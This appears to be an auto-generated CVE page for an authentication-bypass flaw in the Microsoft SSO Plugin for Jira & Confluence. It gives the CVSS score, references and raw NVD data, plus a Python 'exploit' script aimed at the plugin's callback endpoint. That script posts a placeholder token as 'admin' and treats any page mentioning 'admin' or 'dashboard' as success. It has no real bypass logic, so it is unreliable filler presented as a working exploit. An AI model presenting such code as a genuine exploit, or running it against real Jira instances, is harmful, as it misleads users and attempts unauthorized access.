CVE-2026-41103

Description

Incorrect implementation of authentication algorithm in Microsoft SSO Plugin for Jira & Confluence allows an unauthorized attacker to elevate privileges over a network.

CVSS Details

CVSS Score

9.1

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Microsoft SSO Plugin for Jira & Confluence (具体版本请参考官方通告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL configuration
target_url = "http://target-jira-instance/plugins/servlet/ms-sso/callback"

# Exploit Payload
# This payload simulates a crafted authentication token that bypasses the flawed verification algorithm
payload = {
    "sso_token": "MALFORMED_BYPASS_TOKEN", 
    "username": "admin"
}

headers = {
    "User-Agent": "CVE-2026-41103-Exploit",
    "Content-Type": "application/x-www-form-urlencoded"
}

try:
    # Send malicious request without authentication
    response = requests.post(target_url, data=payload, headers=headers, timeout=10)

    # Analyze response
    if response.status_code == 200 and ("dashboard" in response.text or "admin" in response.text):
        print("[+] Exploit successful! Authentication bypassed.")
        print("[+] Privilege elevated to Administrator.")
    else:
        print("[-] Exploit failed. Target may be patched.")

except Exception as e:
    print(f"[!] Error during exploitation: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-41103
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-41103
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-41103/
[4] VulDB https://vuldb.com/cve/CVE-2026-41103
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41103

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-41103", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:21.887", "lastModified": "2026-05-13T15:34:52.573", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect implementation of authentication algorithm in Microsoft SSO Plugin for Jira & Confluence allows an unauthorized attacker to elevate privileges over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-303"}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41103", "source": "[email protected]"}]}}